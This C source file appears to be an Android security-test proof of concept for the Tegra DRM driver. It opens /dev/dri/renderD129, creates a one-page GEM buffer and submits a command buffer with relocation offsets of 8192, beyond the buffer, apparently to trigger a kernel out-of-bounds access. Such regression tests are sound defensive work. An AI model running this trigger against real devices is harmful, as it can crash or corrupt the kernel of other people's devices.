1 /* 2 * Copyright (C) 2017 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 #define _GNU_SOURCE 17 #include <unistd.h> 18 #include <stdio.h> 19 #include <errno.h> 20 #include <fcntl.h> 21 #include <sys/ioctl.h> 22 23 #include "local_poc.h" 24 25 #define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__) 26 #define ERR(fmt, ...) printf(fmt " %d %s\n", ##__VA_ARGS__, errno, strerror(errno)) 27 28 #define DEV "/dev/dri/renderD129" 29 #define CMD_NUM 1 30 31 int dev_fd; 32 33 volatile struct drm_tegra_open_channel open_c; 34 volatile struct drm_tegra_submit submit_c; 35 volatile struct drm_tegra_gem_create gem_create; 36 37 struct drm_tegra_cmdbuf cmdbufs[CMD_NUM]; 38 struct drm_tegra_syncpt syncpt; 39 struct drm_tegra_reloc relocs[CMD_NUM]; 40 41 static int prepare() 42 { 43 open_c.client = HOST1X_CLASS_VIC; 44 submit_c.num_syncpts = 1; 45 submit_c.syncpts = (__u64)&syncpt; 46 submit_c.num_cmdbufs = CMD_NUM; 47 submit_c.cmdbufs = (__u64)cmdbufs; 48 submit_c.num_relocs = CMD_NUM; 49 submit_c.relocs = (__u64)relocs; 50 gem_create.size = PAGE_SIZE; 51 return 0; 52 } 53 54 int main() 55 { 56 int ret; 57 int i; 58 59 dev_fd = open(DEV,O_RDONLY); 60 if(dev_fd == -1){ 61 return 0; 62 } 63 64 prepare(); 65 66 ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c); 67 if(ret == -1){ 68 goto out_dev; 69 } 70 71 submit_c.context = open_c.context; 72 73 ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_GEM_CREATE, &gem_create); 74 if(ret == 0){ 75 for(i = 0; i < CMD_NUM; i++){ 76 cmdbufs[i].words = 0; 77 cmdbufs[i].offset = 0; 78 cmdbufs[i].handle = gem_create.handle; 79 relocs[i].cmdbuf.handle = gem_create.handle; 80 relocs[i].cmdbuf.offset = 8192; 81 relocs[i].target.handle = gem_create.handle; 82 relocs[i].target.offset = 8192; 83 } 84 ioctl(dev_fd, DRM_IOCTL_TEGRA_SUBMIT, &submit_c); 85 }else{ 86 } 87 88 out_dev: 89 close(dev_fd); 90 return 0; 91 } 92
